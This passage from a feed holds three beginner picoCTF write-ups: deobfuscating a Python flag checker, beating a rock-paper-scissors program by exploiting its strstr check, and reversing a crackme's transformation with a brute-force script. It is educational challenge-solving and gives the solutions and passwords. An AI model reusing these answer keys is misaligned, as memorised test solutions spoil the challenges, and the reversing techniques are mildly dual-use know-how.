&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg4qk28ndkn9awr5gvzg0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg4qk28ndkn9awr5gvzg0.png" alt="code" width="788" height="900"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This code is obfuscated which makes it difficult for a human to read.&lt;/p&gt;

&lt;p&gt;The variable a is given a long string.&lt;/p&gt;

&lt;p&gt;I head over to &lt;a href="https://www.programiz.com/python-programming/online-compiler/" rel="noopener noreferrer"&gt;Programiz &lt;/a&gt;to find what the first condition is:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx3aubc7r8cl1cd3g5dej.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx3aubc7r8cl1cd3g5dej.png" alt="programiz" width="800" height="351"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It checks for the argument to be equal to the string "happychance", if it is, then it returns True, else it returns "That password is incorrect" and exits with code 0.&lt;br&gt;
I re-wrote python code in a readable format:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;a = "!\"#$%&amp;amp;'()*+,-./0123456789:;&amp;lt;=&amp;gt;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ"+ \
            "[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~ "
def check(pwd):
  if pwd == "happychance":
    return True
  else:
    print("The password is incorrect")

def decoder(arg444):
  return join_flag(arg444.decode(), "rapscallion")

def getinput():
  return input("Please enter correct password for flag: ")

def open_flag():
  return open('flag.txt.enc', 'rb').read()

def welc():
  print("Welcome back... your flag, user: ")


def join_flag(first_string, second_string):
    second_string_copy = second_string
    i = 0
    while len(second_string_copy) &amp;lt; len(first_string):
        second_string_copy = second_string_copy + second_string[i]
        i = (i + 1) % len(second_string)        
    return "".join([chr(ord(first_string_char) ^ ord(second_string_char)) for (first_string_char,second_string_char) in zip(first_string,second_string_copy)])


opened_flag_binary = open_flag()
pwd = getinput()
check(pwd)
welc()
decoded_flag = decoder(opened_flag_binary)
print(decoded_flag)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I decoded this much and after a while, I thought it was enough since later in the code the functions are being called and the values are getting stored in the variables. &lt;/p&gt;

&lt;p&gt;I ran the python file and gave "happychance" as the input, and there I had my flag!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy559rfvtkrclgdvunblu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy559rfvtkrclgdvunblu.png" alt="gotcha" width="800" height="986"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>picoCTF RPS writeup</title>
      <dc:creator>Hitanshu Gedam</dc:creator>
      <pubDate>Sat, 20 Sep 2025 12:06:55 +0000</pubDate>
      <link>https://zeroday.forem.com/hitanshugedam/picoctf-rps-writeup-365k</link>
      <guid>https://zeroday.forem.com/hitanshugedam/picoctf-rps-writeup-365k</guid>
      <description>&lt;p&gt;We are given a Rock-Paper-Scissors game. I used wget to download the source file onto the webshell. I read the C source code.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;stdbool.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;time.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys/time.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;


#define WAIT 60



static const char* flag = "[REDACTED]";

char* hands[3] = {"rock", "paper", "scissors"};
char* loses[3] = {"paper", "scissors", "rock"};
int wins = 0;



int tgetinput(char *input, unsigned int l)
{
    fd_set          input_set;
    struct timeval  timeout;
    int             ready_for_reading = 0;
    int             read_bytes = 0;

    if( l &amp;lt;= 0 )
    {
      printf("'l' for tgetinput must be greater than 0\n");
      return -2;
    }


    /* Empty the FD Set */
    FD_ZERO(&amp;amp;input_set );
    /* Listen to the input descriptor */
    FD_SET(STDIN_FILENO, &amp;amp;input_set);

    /* Waiting for some seconds */
    timeout.tv_sec = WAIT;    // WAIT seconds
    timeout.tv_usec = 0;    // 0 milliseconds

    /* Listening for input stream for any activity */
    ready_for_reading = select(1, &amp;amp;input_set, NULL, NULL, &amp;amp;timeout);
    /* Here, first parameter is number of FDs in the set, 
     * second is our FD set for reading,
     * third is the FD set in which any write activity needs to updated,
     * which is not required in this case. 
     * Fourth is timeout
     */

    if (ready_for_reading == -1) {
        /* Some error has occured in input */
        printf("Unable to read your input\n");
        return -1;
    } 

    if (ready_for_reading) {
        read_bytes = read(0, input, l-1);
        if(input[read_bytes-1]=='\n'){
        --read_bytes;
        input[read_bytes]='\0';
        }
        if(read_bytes==0){
            printf("No data given.\n");
            return -4;
        } else {
            return 0;
        }
    } else {
        printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
        return -3;
    }

    return 0;
}


bool play () {
  char player_turn[100];
  srand(time(0));
  int r;

  printf("Please make your selection (rock/paper/scissors):\n");
  r = tgetinput(player_turn, 100);
  // Timeout on user input
  if(r == -3)
  {
    printf("Goodbye!\n");
    exit(0);
  }

  int computer_turn = rand() % 3;
  printf("You played: %s\n", player_turn);
  printf("The computer played: %s\n", hands[computer_turn]);

  if (strstr(player_turn, loses[computer_turn])) {
    puts("You win! Play again?");
    return true;
  } else {
    puts("Seems like you didn't win this time. Play again?");
    return false;
  }
}


int main () {
  char input[3] = {'\0'};
  int command;
  int r;

  puts("Welcome challenger to the game of Rock, Paper, Scissors");
  puts("For anyone that beats me 5 times in a row, I will offer up a flag I found");
  puts("Are you ready?");

  while (true) {
    puts("Type '1' to play a game");
    puts("Type '2' to exit the program");
    r = tgetinput(input, 3);
    // Timeout on user input
    if(r == -3)
    {
      printf("Goodbye!\n");
      exit(0);
    }

    if ((command = strtol(input, NULL, 10)) == 0) {
      puts("Please put in a valid number");

    } else if (command == 1) {
      printf("\n\n");
      if (play()) {
        wins++;
      } else {
        wins = 0;
      }

      if (wins &amp;gt;= 5) {
        puts("Congrats, here's the flag!");
        puts(flag);
      }
    } else if (command == 2) {
      return 0;
    } else {
      puts("Please type either 1 or 2");
    }
  }

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The function of interest here is the &lt;code&gt;play()&lt;/code&gt; function. Let’s say int computer_turn = 0, if we look at hands[0], we see that the computer chose ‘rock.’ On &lt;a href="https://www.w3schools.com/c/ref_string_strstr.php" rel="noopener noreferrer"&gt;this page&lt;/a&gt;, I found the &lt;code&gt;strstr()&lt;/code&gt; function returns a pointer to the position of the first occurrence of a string in another string. Now, the computer will check if the user input player_turncontains the string that corresponds to loses[0] i.e. ‘paper’.&lt;/p&gt;

&lt;p&gt;I tried inputting the string &lt;code&gt;rockpaperscissors&lt;/code&gt; 5 times to beat the game and there I found my flag:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmkzz9yg5h6clbj6zr347.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmkzz9yg5h6clbj6zr347.png" alt="flag" width="512" height="1042"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>education</category>
    </item>
    <item>
      <title>picoCTF classic crackme 0x100 writeup</title>
      <dc:creator>Hitanshu Gedam</dc:creator>
      <pubDate>Fri, 19 Sep 2025 18:27:29 +0000</pubDate>
      <link>https://zeroday.forem.com/hitanshugedam/picoctf-classic-crackme-0x100-writeup-1mbo</link>
      <guid>https://zeroday.forem.com/hitanshugedam/picoctf-classic-crackme-0x100-writeup-1mbo</guid>
      <description>&lt;p&gt;We are given a binary file in this challenge and are asked to reverse engineer it. I download it on my windows laptop and decompile it on &lt;a href="//www.dogbolt.org"&gt;DogBolt&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I scroll down till I find the main() function:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkdh9emspm1acsgh2vxtj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkdh9emspm1acsgh2vxtj.png" alt="decompiled" width="800" height="462"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I find that some variables and arrays are defined. It begins by copying a fixed 51-character string into a buffer called &lt;code&gt;output&lt;/code&gt;, which represents the correct "transformed" version of the secret password. Then, it prompts the user to input a password, which is read into the &lt;code&gt;input&lt;/code&gt; buffer. The core of the code lies in a nested loop that runs three times: for each character in the input, it performs a complex transformation based on the character's index using bitwise operations and modular arithmetic to shift the character within the lowercase alphabet (&lt;code&gt;'a'&lt;/code&gt; to &lt;code&gt;'z'&lt;/code&gt;). After applying this transformation three times, the code compares the resulting input with the predefined &lt;code&gt;output&lt;/code&gt; string using &lt;code&gt;memcmp&lt;/code&gt;. If the transformed input matches &lt;code&gt;output&lt;/code&gt;, it prints a success message and a placeholder flag; otherwise, it prints "FAILED!".&lt;/p&gt;

&lt;p&gt;I used wget to download the file on pico webshell and give it executable permissions via the &lt;code&gt;chmod&lt;/code&gt; command. &lt;/p&gt;

&lt;p&gt;I wrote a python script with the help of ChatGPT:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;output = "mpknnphjngbhgzydttvkahppevhkmpwgdzxsykkokriepfnrdm"

def transform_char(c, i_1):
    uVar1 = ((i_1 % 0xff) &amp;gt;&amp;gt; 1 &amp;amp; 0x55) + ((i_1 % 0xff) &amp;amp; 0x55)
    uVar1 = ((uVar1 &amp;gt;&amp;gt; 2) &amp;amp; 0x33) + (uVar1 &amp;amp; 0x33)
    iVar2 = (uVar1 &amp;gt;&amp;gt; 4) + ord(c) - 0x61 + (uVar1 &amp;amp; 0xf)
    result = iVar2 % 26 + ord('a')
    return chr(result)

def transform(s):
    return ''.join(transform_char(c, i) for i, c in enumerate(s))

# Reverse the transformation by brute-force
def reverse_transform(target):
    original = ['?'] * len(target)
    for i, target_c in enumerate(target):
        for c in range(ord('a'), ord('z') + 1):
            trial = chr(c)
            if transform_char(trial, i) == target_c:
                original[i] = trial
                break
    return ''.join(original)

# Apply reverse transformation 3 times
current = output
for _ in range(3):
    current = reverse_transform(current)

print("Recovered password:", current)

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And I got the original string. I tried it as an input for the file on the webshell and it succeeded. Now that I was sure of the original string, I used the &lt;code&gt;nc&lt;/code&gt; command provided in the challenge to connect to the machine and gave it the string. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3hy6jyylnfoqclkob8u2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3hy6jyylnfoqclkob8u2.png" alt="webshell" width="701" height="360"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This is how I received the flag!&lt;/p&gt;

</description>
    </item>
  </channel>
</rss>
